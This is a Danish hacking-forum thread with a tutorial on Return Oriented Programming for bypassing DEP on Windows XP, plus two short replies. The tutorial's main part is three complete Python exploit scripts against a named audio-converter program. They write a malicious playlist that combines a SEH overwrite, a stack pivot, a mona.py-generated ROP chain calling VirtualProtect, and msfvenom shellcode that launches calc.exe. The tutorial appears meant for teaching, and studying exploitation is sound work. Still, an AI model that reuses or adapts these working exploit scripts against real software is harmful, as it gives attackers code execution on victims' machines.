Tråd bedømmelse:
  • 0 Stemmer - 0 Gennemsnit
  • 1
  • 2
  • 3
  • 4
  • 5
Return Oriented Programming 101
17-02-2014, 00:32 (Denne besked var sidst ændret: 17-02-2014, 17:47 af BlimBlamBlar.)
#1
Return Oriented Programming 101
Hey igen

Jeg håber, at I fik noget ud af min sidste vejledning i SEH overflows: http://www.shellsec.pw/showthread.php?tid=1277
At kende til SEH overflows er et krav for at kunne følge med i denne vejledning.

Return Oriented Programming (ROP) er en halvgammel teknik, som bruges, til at omgå en hardware implementeret forhindring på vejen til at få kode eksekveret hos sit offer. Man har siden tidernes morgen kunnet sætte forskellige beskyttelses flag på hukommelsen, så læsning og/eller skrivning ville fejle. På den måde kunne man markere, at kode ikke skulle kunne skrives til, at ikke allokeret hukommelse hverken skulle kunne læses eller skrives og at man ikke skulle kunne modificere data markeret med 'const'.

Men som noget relativt nyt kan man nu også markere om hukommelsen må eksekveres. Det giver nok aldrig mening, at data på stakken skal kunne eksekveres, og kun sjældent, at heapen skal kunne eksekveres, så dette flag er tilføjet, og det kaldes typisk Data Execution Prevention (DEP) eller W^X (som i Writable XOR Executable, altså modificerbar eller eksekverbar men aldrig begge). Det betyder, at et exploit ikke længere kan lægge shellcode på stakken og hoppe dertil. Game over!

Ok, ikke helt. Det er blevet vanskeligere at udnytte fejl og opnå kodeeksekvering, men der er en måde at omgå DEP, og dét er ROP.

Programmer (og shellcode) består af sekvenser af simple instruktioner, og programmer indeholder mange af disse instruktioner og de ligger i eksekverbar hukommelse. Hvis vi på én eller anden måde kan kæde disse eksisterende instruktioner sammen, kan vi måske opnå vores mål, og det viser sig, at det kan vi. Hvis vi kontrollerer stakken!

Forestil dig, at vi vil have værdien '0xdeadbeef' ind i 'EDI' registret og værdien '5' ind i 'EAX' og vi kontrollerer 'EIP'. Hvis vi kan finde sekvenser af instruktioner, som alle ender med 'RET', så har vi noget at arbejde med. Hvis vi f.eks. har følgende:

Kode:
0x1006802e :  # POP EDI # RETN
0x10088047 :  # XOR EAX,EAX # POP ESI # RETN
0x1004c0e1 :  # INC EAX # RETN

Med andre ord, på adressen '0x1006802e' har vi 'POP EDI' som umiddelbart efterfølges af 'RETN'. På '0x10088047' har vi 'XOR EAX, EAX', som efterfølges af 'POP ESI', som efterfølges af 'RETN', og på '0x1004c0e1' har vi 'INC EAX' efterfulgt af 'RETN'.

Hvis vi så putter følgende på stakken:
Kode:
0xdeadbeef
0x10088047
0x41414141
0x1004c0e1
0x1004c0e1
0x1004c0e1
0x1004c0e1
0x1004c0e1
0x41414141

...og overskriver 'EIP' med '0x1006802e' så ender vi med at udføre følgende:
Kode:
0x1006802e   POP EDI        #Nu bliver 0xdeadbeef fjernet fra stakken
                            #og lagt i EDI...første mål er opnået
0x1006802f   RET            #Her returnerer vi til 0x10088047

0x10088047   XOR EAX, EAX   #Nulstil EAX registret
0x10088049   POP ESI        #POP 0x41414141 af stakken og ind i ESI
                            #Dette var ikke en del af planen, men intet problem
0x1008804a   RET            #Returner til 0x1004c0e1

0x1004c0e1   INC EAX        #Læg én til EAX som nu har værdien 1
0x1004c0e2   RET            #Returner til 0x1004c0e1

0x1004c0e1   INC EAX        #Læg én til EAX som nu har værdien 2
0x1004c0e2   RET            #Returner til 0x1004c0e1

0x1004c0e1   INC EAX        #Læg én til EAX som nu har værdien 3
0x1004c0e2   RET            #Returner til 0x1004c0e1

0x1004c0e1   INC EAX        #Læg én til EAX som nu har værdien 4
0x1004c0e2   RET            #Returner til 0x1004c0e1


0x1004c0e1   INC EAX        #Læg én til EAX som nu har værdien 5
0x1004c0e2   RET            #Returner til 0x41414141

Vi er nu igennem kæden og har opnået målet...og crashet processen fordi vi returnerede til '0x41414141', men vi kunne nok have fundet på noget andet at afslutte med.

En sekvens af instruktioner som ender med 'RET' ('CALL' og 'JMPn' kan også bruges men er lidt besværligere) kaldes for en ROP gadget eller bare gadget. En sekvens af gadgets, som udfører en handling (såsom at skrive en arbitrær værdi til en arbitrær adresse) kaldes for en ROP chain. Man kan også bygge større chains af små chains, som f.eks. at opnå en shell.

Ofte vil en gadget ikke kun gøre den ene ting, som vi er interesseret i. I eksemplet ovenfor havde vi f.eks. 'XOR EAX, EAX # POP ESI # RETN', som udover at nulstille 'EAX' også poppede ind i 'ESI'. Dette kaldes en side effekt, og kan være ret generende, men i eksemplet var det ikke et problem, vi skal bare håndtere det. Men hvis vi nu havde noget interessant i 'ESI' registret, så blev det mere besværligt, og nogen gange bliver det grimt og der bliver skrevet til hukommelse som et register peger på. Så er vi nødt til at have en skrivbar adresse i det pågældende register. Det kræver bare lidt opfindsomhed og de rigtige gadgets.

Et andet problem er, at på det tidspunkt, hvor vi styrer 'EIP', så peger stakken typisk ikke på data, som vi kontrollerer, så det første, vi er nødt til at gøre, er at ændre på dette. Det kaldes stak pivottering (stack pivoting), og vi får kun ét forsøg. Måske kan vi finde en gadget ala 'ADD ESP, 0x64 # RETN' som flytter stak registret 100 bytes og derefter returnerer. Så ender stak registret måske 76 bytes inde i vores payload, og så er det dér, vores ROP chain skal begynde.

Men hvad skal vores kæde så gøre? Starte 'calc.exe'?

Måske, men hvad så hvis vi pludselig vil noget andet. ROP programmering er besværligt og tidskrævende, så måske er der en bedre idé.

Mange targets (i hvert fald dem, som vi skal lege med) har muligheden for at ændre på protection bits. På Windows har vi 'VirtualProtect()' og på Linux har vi 'mprotect()' som gør dette. Alternativt er der på Windows 'VirtualAlloc()' og på Linux 'mmap()' som kan allokere hukommelse med en bestemt konfiguration. På Windows er der endda af og til funktioner til helt at slå DEP fra, men det er ikke altid tilfældet.

Så hvad vi kan gøre, er at smide en almindelig shellcode et sted i hukommelsen, slå execution til for den pågældende hukommelse og springe dertil. Eller vi kan allokere ny eksekverbar og skrivbar hukommelse, kopiere shellcoden dertil og springe. Vi vil prøve det første, og til det skal vi bruge et sårbart program.

Hent og installer følgende: http://www.exploit-db.com/wp-content/the...dr2007.exe

Prøv først at skrive et ikke-ROP baseret exploit til det, følgende vil lave en playliste, som får programmet til at gå ned:
Kode:
$ pattern_create.rb 4000 > playlist.pls

Fik du et exploit til at fungere? Fantastisk!

Slå så DEP til. I Windows XP højreklikker du på "My computer" og vælger "Properties". Vælg så "Advanced" og klik på "Settings" knappen i "Performance" området. Vælg så "Data Execution Prevention" og sæt flueben i "Turn on DEP for all programs and services except those I select". Tryk "OK" og genstart.

Prøv så dit exploit igen. Nederen! Prøv også playlisten, som crashede programmet, og sæt Immunity på. Du får ikke engang lov til at håndtere en exception. Slå DEP fra igen (samme som tidligere men bare tilføj programmet til listen som DEP skal være slået fra). Prøv så den crashende playliste igen fra Immunity. Det burde se således ud:

[Billede: iE92o14.png]

Vi skal bruge tre ting fra ovenstående screenshot. Index ind i strengen hvor vi kontrollerer 'EIP' (denne ved du hvordan vi får), nuværende stak position og adressen, hvor vores payload kan findes.

'pattern_offset.rb' fortæller os at 'EIP' er overskrevet af de fire bytes som ligger 1112 bytes inde i vores payload. Det fandt du sikkert ud af, hvis du lavede et exploit.

Jeg fandt vores payload på adressen '0x0013f0a0' og 'ESP' peger på '0x0013e93c'. Simpel aritmetik fortæller mig, at de to adresser ligger 1892 fra hinanden, så vi skal finde en gadget, som lægger mindst 1892 til 'ESP' og derefter returnerer. Og selvfølgelig har vores bedste ven Peter Van Eeckhoutte gjort et fantastisk job.

Kør følgende kommando i Immunity:

Kode:
!mona rop -o -cbp '\x0a\x3d'

Dette kan tage lidt tid, så tag en kop kaffe.

Output fra alle 'mona.py' kommandoer skrives til filer i Immunitys bibliotek og ROP output fylder for meget til at det giver mening at skrive noget til log vinduet så tag et kig i Immunity biblioteket. Der er kommet fire nye filer:
  • 'stackpivot.txt' - Gadgets til at udføre stak pivottering
  • 'rop.txt' - Alle fundne gadgets sorteret efter adresse
  • 'rop_suggestions.txt' - Alle fundne gadgets grupperet efter hvad de gør
  • 'rop_chains.txt' - Automatisk byggede ROP chains. Meget brugbar!

Vi skal starte med at pivottere stakken, så kig i 'stackpivot.txt' og find den, som hopper mindst muligt over 1892. Den på adressen '0x1001b645' lægger 2052 til 'ESP' og det er 160 for meget, så vores ROP chain skal starte 160 bytes inde i vores payload. Husk at 'EIP' blev overskrevet 1112 bytes inde i payload, så det giver os 952 bytes til ROP chain og shellcode. Det burde være nok, ellers kan vi have det hele efter 'EIP' overskrivningen, eller gøre det hele lidt mere manuelt.

Lad os starte med vores sploit:

#!/usr/bin/python

filename='playlist.pls'
stack_pivot = '\x45\xb6\x01\x10' #ADD ESP, 0x804 #RETN
seh_offset = 1112
rop_offset = 160

def create_rop_chain():
return '\xef\xbe\xad\xde'

payload = ''
payload += 'A' * rop_offset
payload += create_rop_chain()
payload += 'B' * (seh_offset - len(payload))
payload += stack_pivot
payload += 'C' * (4000 - len(payload))

with open(filename, 'w') as f:
f.write(payload)

Generer en playliste og sæt et breakpoint på '0x1001b645'. Du burde nå den, når du har sendt den fangede exception videre. Step over 'ADD ESP, 804' instruktionen og tag et kig i stak vinduet. Den kommende 'RETN' instruktion vil sende os til '0xdeadbeef'. Med andre ord har vi nu ramt vores ROP chain.

[Billede: QGduBrx.png]

Det er tid til en lille detour for at forstå, hvad vores ROP chain skal gøre. Tid til lidt kedelig teori. Vi skal have udført et kald til 'VirtualProtect()' men vi gør det ved at returnere til første instruktion i funktionen. Den kan på ingen måde vide, om det er et reelt funktionskald eller ej, men den forventer, at argumenterne ligger på stakken, og at retur adressen ligger øverst.

VirtualProtect tager følgende argumenter:
  • lpAddress - Startadressen som skal have ændret protection flag
  • dwSize - Størrelsen af området i bytes
  • flNewProtection - Nye flag (0x40 vil gøre det eksekverbar, læsbar og skrivbar)
  • lpflOldProtect - Adresse hvor de eksisterende flag vil blive skrevet

Disse fire skal ligge på stakken. Men vi skal også have adressen på shellcoden øverst, så VirtualProtect kan returnere dertil...og siden vi bruger ROP, så har vi tænkt os at returnere ind i VirtualProtect, så dens adresse skal ligge allerøverst. Med andre ord skal vi have stakken til at se således ud lige inden vi returnerer:

[Billede: rFlXeAo.png]

Vi er så nødt til at finde adressen på VirtualProtect, og takket være ASLR og forskellige Windows versioner, så kender vi den ikke. Men mange programmer bruger den, og derfor er den ofte at finde i programmets Import Address Table (IAT), som ligger på en statisk adresse medmindre programmet selv er position independent.

Vi skal også finde adressen på shellcoden, men da den er på stakken, burde det ikke være et problem at beregne.

Alt dette er kompliceret, men heldigvis har 'mona.py' gjort ALT ARBEJDET FOR OS!! Eller i hvert fald det meste, der er lidt problemer, men lad os bare starte med, hvad mona har givet os, den forventer at shellcoden følger umiddelbart efter ROP kæden.

#!/usr/bin/python

import struct

filename='playlist.pls'
stack_pivot = '\x45\xb6\x01\x10' #ADD ESP, 0x804 #RETN
seh_offset = 1112
rop_offset = 160

# Shellcode generated with
# msfvenom -p windows/exec -b '\x3d\x0a' -f python CMD=calc EXITFUNC=thread
shellcode = ""
shellcode += "\xba\x65\x01\x25\x45\xd9\xc9\xd9\x74\x24\xf4\x58\x33"
shellcode += "\xc9\xb1\x32\x31\x50\x12\x03\x50\x12\x83\x8d\xfd\xc7"
shellcode += "\xb0\xb1\x16\x8e\x3b\x49\xe7\xf1\xb2\xac\xd6\x23\xa0"
shellcode += "\xa5\x4b\xf4\xa2\xeb\x67\x7f\xe6\x1f\xf3\x0d\x2f\x10"
shellcode += "\xb4\xb8\x09\x1f\x45\x0d\x96\xf3\x85\x0f\x6a\x09\xda"
shellcode += "\xef\x53\xc2\x2f\xf1\x94\x3e\xdf\xa3\x4d\x35\x72\x54"
shellcode += "\xf9\x0b\x4f\x55\x2d\x00\xef\x2d\x48\xd6\x84\x87\x53"
shellcode += "\x06\x34\x93\x1c\xbe\x3e\xfb\xbc\xbf\x93\x1f\x80\xf6"
shellcode += "\x98\xd4\x72\x09\x49\x25\x7a\x38\xb5\xea\x45\xf5\x38"
shellcode += "\xf2\x82\x31\xa3\x81\xf8\x42\x5e\x92\x3a\x39\x84\x17"
shellcode += "\xdf\x99\x4f\x8f\x3b\x18\x83\x56\xcf\x16\x68\x1c\x97"
shellcode += "\x3a\x6f\xf1\xa3\x46\xe4\xf4\x63\xcf\xbe\xd2\xa7\x94"
shellcode += "\x65\x7a\xf1\x70\xcb\x83\xe1\xdc\xb4\x21\x69\xce\xa1"
shellcode += "\x50\x30\x84\x34\xd0\x4e\xe1\x37\xea\x50\x41\x50\xdb"
shellcode += "\xdb\x0e\x27\xe4\x09\x6b\xc7\x06\x98\x81\x60\x9f\x49"
shellcode += "\x28\xed\x20\xa4\x6e\x08\xa3\x4d\x0e\xef\xbb\x27\x0b"
shellcode += "\xab\x7b\xdb\x61\xa4\xe9\xdb\xd6\xc5\x3b\xb8\xb9\x55"
shellcode += "\xa7\x3f"

def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
0x1007f888, # POP EDX # RETN [audconv.dll]
0x100920f4, # ptr to &VirtualProtect() [IAT audconv.dll]
0x1003bd8b, # MOV EAX,DWORD PTR DS:[EDX] # RETN [audconv.dll]
0x10035802, # XCHG EAX,ESI # RETN [audconv.dll]
0x10080110, # POP EBP # RETN [audconv.dll]
0x1001db3c, # & push esp # ret 0x04 [audconv.dll]
0x1005efba, # POP EBX # RETN [audconv.dll]
0x00000201, # 0x00000201-> ebx
0x10087757, # POP EDX # RETN [audconv.dll]
0x00000040, # 0x00000040-> edx
0x10002212, # POP ECX # RETN [audconv.dll]
0x004365ef, # &Writable location [easycdda.exe]
0x1006d7b2, # POP EDI # RETN [audconv.dll]
0x100378e6, # RETN (ROP NOP) [audconv.dll]
0x0042527d, # POP EAX # RETN [easycdda.exe]
0x90909090, # nop
0x00429692, # PUSHAD # INC EBX # ADD CL,CH # RETN [easycdda.exe]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)


payload = ''
payload += 'A' * rop_offset
payload += create_rop_chain()
payload += shellcode
payload += 'B' * (seh_offset - len(payload))
payload += stack_pivot
payload += 'C' * (4000 - len(payload))

with open(filename, 'w') as f:
f.write(payload)

Din ROP kæde er muligvis anderledes...mona kan godt finde på at skifte mening engang imellem.

Sæt breakpoint som før og følg med i kæden, efterhånden som den eksekverer. Når du når første instruktion i VirtualProtect ser Immunity ca. sådan her ud:

[Billede: cR4w1ol.png]

Hvis du kigger i stakken, ser du argumenterne til VirtualProtect og retur adressen. Den er ikke den samme som adressen på shellkoden, som jeg sagde, at det burde være. Det gør ikke noget, for jeg har fundet frem til instruktionerne, som der returneres til, og det er 'PUSH ESP # RETN 4', altså et spring til stakken, så vi opnår det samme.

Fortsæt eksekveringen (<f9>) så shellkoden eksekveres. Crash!

Hvad skete der?

'RETN 4' lægger fire til stakken EFTER at vi har returneret og eftersom vores shellcode skriver til stakken, så overskriver den sig selv...det er ikke godt, men hvis vi lægger et par instruktioner i starten, som trækker lidt fra stakken så burde det fungere igen. 'EBP' bruges ofte også, så den modificerer vi også.

Prøv følgende:

#!/usr/bin/python

import struct

filename='playlist.pls'
stack_pivot = '\x45\xb6\x01\x10' #ADD ESP, 0x804 #RETN
seh_offset = 1112
rop_offset = 160

# Shellcode generated with
# msfvenom -p windows/exec -b '\x3d\x0a' -f python CMD=calc EXITFUNC=thread
shellcode = ""
shellcode += "\xba\x65\x01\x25\x45\xd9\xc9\xd9\x74\x24\xf4\x58\x33"
shellcode += "\xc9\xb1\x32\x31\x50\x12\x03\x50\x12\x83\x8d\xfd\xc7"
shellcode += "\xb0\xb1\x16\x8e\x3b\x49\xe7\xf1\xb2\xac\xd6\x23\xa0"
shellcode += "\xa5\x4b\xf4\xa2\xeb\x67\x7f\xe6\x1f\xf3\x0d\x2f\x10"
shellcode += "\xb4\xb8\x09\x1f\x45\x0d\x96\xf3\x85\x0f\x6a\x09\xda"
shellcode += "\xef\x53\xc2\x2f\xf1\x94\x3e\xdf\xa3\x4d\x35\x72\x54"
shellcode += "\xf9\x0b\x4f\x55\x2d\x00\xef\x2d\x48\xd6\x84\x87\x53"
shellcode += "\x06\x34\x93\x1c\xbe\x3e\xfb\xbc\xbf\x93\x1f\x80\xf6"
shellcode += "\x98\xd4\x72\x09\x49\x25\x7a\x38\xb5\xea\x45\xf5\x38"
shellcode += "\xf2\x82\x31\xa3\x81\xf8\x42\x5e\x92\x3a\x39\x84\x17"
shellcode += "\xdf\x99\x4f\x8f\x3b\x18\x83\x56\xcf\x16\x68\x1c\x97"
shellcode += "\x3a\x6f\xf1\xa3\x46\xe4\xf4\x63\xcf\xbe\xd2\xa7\x94"
shellcode += "\x65\x7a\xf1\x70\xcb\x83\xe1\xdc\xb4\x21\x69\xce\xa1"
shellcode += "\x50\x30\x84\x34\xd0\x4e\xe1\x37\xea\x50\x41\x50\xdb"
shellcode += "\xdb\x0e\x27\xe4\x09\x6b\xc7\x06\x98\x81\x60\x9f\x49"
shellcode += "\x28\xed\x20\xa4\x6e\x08\xa3\x4d\x0e\xef\xbb\x27\x0b"
shellcode += "\xab\x7b\xdb\x61\xa4\xe9\xdb\xd6\xc5\x3b\xb8\xb9\x55"
shellcode += "\xa7\x3f"

def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
0x1007f888, # POP EDX # RETN [audconv.dll]
0x100920f4, # ptr to &VirtualProtect() [IAT audconv.dll]
0x1003bd8b, # MOV EAX,DWORD PTR DS:[EDX] # RETN [audconv.dll]
0x10035802, # XCHG EAX,ESI # RETN [audconv.dll]
0x10080110, # POP EBP # RETN [audconv.dll]
0x1001db3c, # & push esp # ret 0x04 [audconv.dll]
0x1005efba, # POP EBX # RETN [audconv.dll]
0x00000201, # 0x00000201-> ebx
0x10087757, # POP EDX # RETN [audconv.dll]
0x00000040, # 0x00000040-> edx
0x10002212, # POP ECX # RETN [audconv.dll]
0x004365ef, # &Writable location [easycdda.exe]
0x1006d7b2, # POP EDI # RETN [audconv.dll]
0x100378e6, # RETN (ROP NOP) [audconv.dll]
0x0042527d, # POP EAX # RETN [easycdda.exe]
0x90909090, # nop
0x00429692, # PUSHAD # INC EBX # ADD CL,CH # RETN [easycdda.exe]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

payload = ''
payload += 'A' * rop_offset
payload += create_rop_chain()
payload += '\x83\xec\x08' # sub esp, 8
payload += '\x89\xe5' # mov ebp, esp
payload += shellcode
payload += 'B' * (seh_offset - len(payload))
payload += stack_pivot
payload += '\x00' * (4000 - len(payload))

with open(filename, 'w') as f:
f.write(payload)

Nu burde 'calc.exe' starte. Yay!

Men noget går stadig galt. Luk Immunity og kør programmet uden. Så får vi følgende:

[Billede: wN1krzl.png]

Så data eksekvering er blevet detekteret. Øv.

Det har så intet med hverken vores ROP kæde eller vores shellcode at gøre, for det kørte upåklageligt, men vi har baldret stakken og noget nedlukningskode skrev til en adresse, som vi har pillet ved. At debugge på dette vil ikke blive forklaret her, da det ikke har med ROP at gøre, men skulle vi skrive et rigtigt stealth exploit, så var det selvfølgelig noget, vi skulle have styr på.

Denne sårbarhed var latterligt let at exploite af flere grunde:
  • Meget få bad chars...ikke engang nul bytes var ulovlige
  • Både exe filen og dens dll var compilet uden ASLR så der var masser af gadgets
  • mona.py kunne lave en fuld ROP kæde

Så heldige er vi ikke altid så jeg vil foreslå, at du prøver at lave et par ROP baserede exploits og endda prøver at lave kæden manuelt. Læs evt. Peter Van Eeckhouttes tutorial også.
Find alle beskeder fra denne bruger
Citer denne besked i et svar
17-02-2014, 00:46
#2
RE: Return Oriented Programming 101
Hold da op en guide! Giver et 12 tal (Y) KOmmer ind på meget! igen igen en super guide fra dig ;)
There is 3 rules for a life.
1. fuck.
2. Dont give a fuck.
3. Dont be fucked over
Find alle beskeder fra denne bruger
Citer denne besked i et svar
19-02-2014, 10:38
#3
RE: Return Oriented Programming 101
Tanks...var det til at finde ud af?
Jeg ROPede Millenium MP3 Studio manuelt, så prøv den. Den blev beskrevet i corelans tutorial om SEH: https://www.corelan.be/index.php/2009/07...e-part-3b/
Find alle beskeder fra denne bruger
Citer denne besked i et svar
« Ældre | Nyere »




User(s) browsing this thread: 1 Gæst(er)